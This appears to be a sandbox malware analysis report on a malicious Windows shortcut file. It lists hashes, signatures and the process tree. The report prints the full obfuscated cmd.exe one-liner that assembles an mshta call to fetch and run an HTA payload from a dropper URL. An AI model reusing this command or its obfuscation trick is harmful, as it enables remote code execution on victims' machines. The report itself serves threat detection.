Analysis
- max time kernel
58s - max time network
62s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
17/08/2026, 12:17
Static task
static1
Behavioral task
behavioral1
Sample
DOC-9T1GWM.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-9T1GWM.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
60 seconds
General
- Target DOC-9T1GWM.lnk
- Size 2KB
- Sample260817-pf3aksar6w
- SHA256 87e864eccaba1a2f2f6b9da365a84aebda3ab6b06ff22385dd9604e025cd6b3f
- MD5 3f1765704d1bb03d26cfca5968f219ed
- SHA1 833c7c1c73bc0eae1cebaaa36b86bcb4dc4b371f
- SHA512 07d3c561d1102949aa309fd3689764d7d3e065243e021d8280bd540695e12ff15cf0860e025dfc906fa65af21ee8af8f0e6c0287cde7ecea4ab94c7c16c9ef3d
- TLSH T1834145906EDE0194F2FFCE73DEBEA360887BB9A56D60C68E0840814C0922F15D537B66
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2300 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2300 wrote to memory of 1372 2300 cmd.exe 91 PID 1372 wrote to memory of 4436 1372 cmd.exe 92
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-9T1GWM.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2300 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /d/V:on/c"set NHXG=dbgcudfdbg&set PB=infebsjmcptinf&set mJ=windhugkytaqivbwin&set zp=winvaqywqexbamwin&set Zcu=bakkjejzwmldterlsvobak&set Xvw=tmpseqwdxmttmp&set Ufi=25m6ne&&set DCcU=xt6shtfv&&set MMT=96al5&set BCGQ=7stw&&set dICJ=t9ward&&set SIBx=1tdw&&set smQa=h@tt@p@s://ma-pd@ff@i@l@[email protected]@at@/h/[email protected]@p?r=3@9146@9FB5@D82@D@B&&start /b !Ufi:~2,1!!DCcU:~3,3!!MMT:~2,1! !smQa:@=!&&set qn=done"2⤵
- Suspicious use of WriteProcessMemory
PID:1372 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:4436
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